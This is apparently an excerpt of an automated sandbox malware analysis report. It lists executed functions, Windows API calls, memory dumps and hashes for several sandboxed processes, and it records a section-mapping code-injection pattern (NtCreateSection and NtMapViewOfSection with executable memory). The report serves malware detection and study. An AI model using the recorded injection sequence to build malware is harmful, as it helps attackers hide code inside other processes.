Instruction ID: 2e86c35fdfcaae7ef9cecc4c1df2f7bf5847f43c02019ecbdb9e70af9d7e101f
Opcode Fuzzy Hash: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction Fuzzy Hash: 91F05E31346205FBDB009EE09D81EBA3629AF45710F244177BA13791F2C67D8A12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A71 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction ID: 9957b61946ed62f1bbaf51e9be9c6cda0d74723c5cfde22ea4b26d113c42f9d6
Opcode Fuzzy Hash: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction Fuzzy Hash: A0F0A731301205FBDF00AFE0CD81DAA3739AF44310F144576BA12751E1C639CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A82 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction ID: 21aa175247acbe6b1edd241deca8f4f5c706112db1e502caa6c66dbcef64fcfd
Opcode Fuzzy Hash: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction Fuzzy Hash: 9AF03771305244FBDF009FE18D81DAA3629AF45310F244576BA16791E1C679CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gfiecjdPID: 6768, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	42
Total number of Limit Nodes:	1

Executed Functions

Function 00401668 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction ID: 8cb595480139d26c46b8ec7cc0b1953ca669d16196fac315a4b1bba12a726abb
Opcode Fuzzy Hash: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction Fuzzy Hash: 10615F71A00245FBEB208F91CC89FAB7BB8EF81700F14016AF912BA2E5D7759941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401673 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction ID: 8f8f6f685010ceb9f347f6944b71906c12c330ff756c9570f537c200b9fbed0e
Opcode Fuzzy Hash: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction Fuzzy Hash: 0D512AB1900245BFEB208F91CC89FEB7BB8EF85B00F14416AF911BA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040169C Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction ID: 77b0854bfe43c2aef023a2673bc99ccec947be12c3e09680a2140a748d19bd66
Opcode Fuzzy Hash: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction Fuzzy Hash: 045109B5900245BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016AA Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction ID: e5c4e8598d155431446e689f00fa6c699f5174c3f9309ca03551973270348d15
Opcode Fuzzy Hash: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction Fuzzy Hash: 055108B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016A1 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction ID: bff82585a94b653d791479d25ffa7738401545132b31b5a2d4ccc15da20913fe
Opcode Fuzzy Hash: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction Fuzzy Hash: 785118B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7719940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401A3F Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction ID: 0405cf3f50ed5d956599920bb74973a651d39c73aeea14585325784e5073188e
Opcode Fuzzy Hash: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction Fuzzy Hash: 6801A43130A204FBDB00AAE09D81D7B3629AB05750F304577BA13790F1C57D8A126F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401A4E Relevance: 1.3, APIs: 1, Instructions: 41
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction ID: 151e845f57ec598ea54a5a496c561fa99d2a1d19fd45ae50ddd01b3c9bf2891c
Opcode Fuzzy Hash: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction Fuzzy Hash: 89F0C876306244EBDB009EE08D51EAA3625AF01310F240577B912751E1C67DCA12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A6A Relevance: 1.3, APIs: 1, Instructions: 35
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction ID: 2e86c35fdfcaae7ef9cecc4c1df2f7bf5847f43c02019ecbdb9e70af9d7e101f
Opcode Fuzzy Hash: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction Fuzzy Hash: 91F05E31346205FBDB009EE09D81EBA3629AF45710F244177BA13791F2C67D8A12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A71 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction ID: 9957b61946ed62f1bbaf51e9be9c6cda0d74723c5cfde22ea4b26d113c42f9d6
Opcode Fuzzy Hash: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction Fuzzy Hash: A0F0A731301205FBDF00AFE0CD81DAA3739AF44310F144576BA12751E1C639CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A82 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000016.00000002.2789595120.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2789343532.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789782337.0000000000404000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.2789932466.0000000000405000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_gfiecjd.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction ID: 21aa175247acbe6b1edd241deca8f4f5c706112db1e502caa6c66dbcef64fcfd
Opcode Fuzzy Hash: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction Fuzzy Hash: 9AF03771305244FBDF009FE18D81DAA3629AF45310F244576BA16791E1C679CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: F324.exePID: 6204, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	26.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.4%
Total number of Nodes:	87
Total number of Limit Nodes:	2

Executed Functions

Function 0040170C Relevance: 40.7, APIs: 22, Strings: 1, Instructions: 415
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00100000,01000000), ref: 00401725
HeapAlloc.KERNEL32(?,00000008,0000003C,?,00000000), ref: 00401765
GetModuleHandleA.KERNEL32(00000000,?,00000000), ref: 00401772
HeapAlloc.KERNEL32(?,00000008,0004B000,?,00000000), ref: 00401785
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 0040178E

Part of subcall function 004010BC: GetProcessHeap.KERNEL32(00000000,3B9ACA00,76EC5E70,?,00000000), ref: 004010CE
Part of subcall function 004010BC: RtlAllocateHeap.NTDLL(00000000), ref: 004010D5
Part of subcall function 004010BC: memset.MSVCRT ref: 004010F0
Part of subcall function 004010BC: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401103
Part of subcall function 004010BC: wcsrchr.MSVCRT ref: 00401115
Part of subcall function 004010BC: wcschr.MSVCRT ref: 00401126
Part of subcall function 004010BC: lstrlenW.KERNEL32(00000002), ref: 00401138
Part of subcall function 004010BC: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040116E
Part of subcall function 004010BC: RtlFreeHeap.NTDLL(00000000), ref: 00401175
Part of subcall function 004010BC: MulDiv.KERNEL32(00000001,80000000,80000000), ref: 0040118B

memcpy.MSVCRT ref: 00401C4A

Part of subcall function 004011B7: HeapAlloc.KERNEL32(00000002,00000008,?,00000000,00000000,00437838,?,0004B000,?,0045E92C,0043761C,00437620,?,00463760,?), ref: 0040122C
Part of subcall function 004011B7: qsort.MSVCRT ref: 00401262

HeapAlloc.KERNEL32(?,00000008,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401CF2
memcpy.MSVCRT ref: 00401D10
GetProcessHeap.KERNEL32(00000008,?), ref: 00401D8A
RtlAllocateHeap.NTDLL(00000000), ref: 00401D91
memcpy.MSVCRT ref: 00401DB5
GetProcessHeap.KERNEL32(00000008,?), ref: 00401DD1
HeapAlloc.KERNEL32(00000000), ref: 00401DD8
memcpy.MSVCRT ref: 00401DFC
HeapFree.KERNEL32(?,00000000,00000000), ref: 00401E82
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00401E91
FindCloseChangeNotification.KERNELBASE(00000000,?,00000000), ref: 00401E99
VirtualFree.KERNELBASE(?,00000000,00008000,?,00000000), ref: 00401EDC
GetProcessHeap.KERNEL32(00000000,?,?,00000000), ref: 00401EE0
HeapFree.KERNEL32(00000000,?,00000000), ref: 00401EE7
HeapDestroy.KERNELBASE(?,?,00000000), ref: 00401EF9

Strings

Roland GS Sound Set/Microsoft (P) 1996 Roland Corporation, xrefs: 00401CDD

Memory Dump Source

Source File: 00000017.00000002.2815521410.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2815399068.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815661088.0000000000427000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815803431.0000000000437000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2816009522.0000000000489000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_F324.jbxd

Similarity

API ID: Heap$AllocProcess$Freememcpy$AllocateCreateModule$ChangeCloseDestroyEventFileFindHandleNameNotificationObjectSingleVirtualWaitlstrlenmemsetqsortwcschrwcsrchr
String ID: Roland GS Sound Set/Microsoft (P) 1996 Roland Corporation
API String ID: 1855994165-2110447102
Opcode ID: 95b067defb8e7788ac421b5db8a4252be51f2dc5013f1dc4bc4c3b76cdd4333f
Instruction ID: e6ed384bc7522e8d64d493b58d71f9e4bf4ed25bcd1e2857cb65b2522875366d
Opcode Fuzzy Hash: 95b067defb8e7788ac421b5db8a4252be51f2dc5013f1dc4bc4c3b76cdd4333f
Instruction Fuzzy Hash: BA2229B09003589FDF20CF55D8886DEBBB4FF05308F50C59AE958AB251D7B89988CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00426752 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 0042677F
__p__fmode.MSVCRT ref: 00426794
__p__commode.MSVCRT ref: 004267A2
__setusermatherr.MSVCRT ref: 004267CE
_initterm.MSVCRT ref: 004267E4
__getmainargs.MSVCRT ref: 00426807
_initterm.MSVCRT ref: 00426817
GetStartupInfoA.KERNEL32(?), ref: 00426856
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0042687A
exit.KERNELBASE ref: 0042688A
_XcptFilter.MSVCRT ref: 0042689C

Memory Dump Source

Source File: 00000017.00000002.2815521410.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2815399068.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815661088.0000000000427000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815803431.0000000000437000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2816009522.0000000000489000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_F324.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: a600c29358a83bf3e3a0c2a34470da710afaad8f576cc2ca437c8d0fb9f9bdcc
Instruction ID: 2af1fabe759db16659c1714faf7b050cbede8da2aac89c30fce1f674cf7363d0
Opcode Fuzzy Hash: a600c29358a83bf3e3a0c2a34470da710afaad8f576cc2ca437c8d0fb9f9bdcc
Instruction Fuzzy Hash: FF41CFB1945318AFD724AFA4EC44AAE7BB8FB09310F61052FF481973A1DB784844CB18

Uniqueness

Uniqueness Score: -1.00%

Function 004010BC Relevance: 15.1, APIs: 10, Instructions: 89
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,3B9ACA00,76EC5E70,?,00000000), ref: 004010CE
RtlAllocateHeap.NTDLL(00000000), ref: 004010D5
memset.MSVCRT ref: 004010F0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401103
wcsrchr.MSVCRT ref: 00401115
wcschr.MSVCRT ref: 00401126
lstrlenW.KERNEL32(00000002), ref: 00401138
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040116E
RtlFreeHeap.NTDLL(00000000), ref: 00401175
MulDiv.KERNEL32(00000001,80000000,80000000), ref: 0040118B

Memory Dump Source

Source File: 00000017.00000002.2815521410.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2815399068.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815661088.0000000000427000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815803431.0000000000437000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2816009522.0000000000489000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_F324.jbxd

Similarity

API ID: Heap$Process$AllocateFileFreeModuleNamelstrlenmemsetwcschrwcsrchr
String ID:
API String ID: 1944225962-0
Opcode ID: 906cdbb0335836baebe7a8637fe032b38313d4bad67f20e671eec4654c8f7c37
Instruction ID: 372bdeaae208f2a65c8f4c8f647d4b60612670efb8016d708d9e329161af488d
Opcode Fuzzy Hash: 906cdbb0335836baebe7a8637fe032b38313d4bad67f20e671eec4654c8f7c37
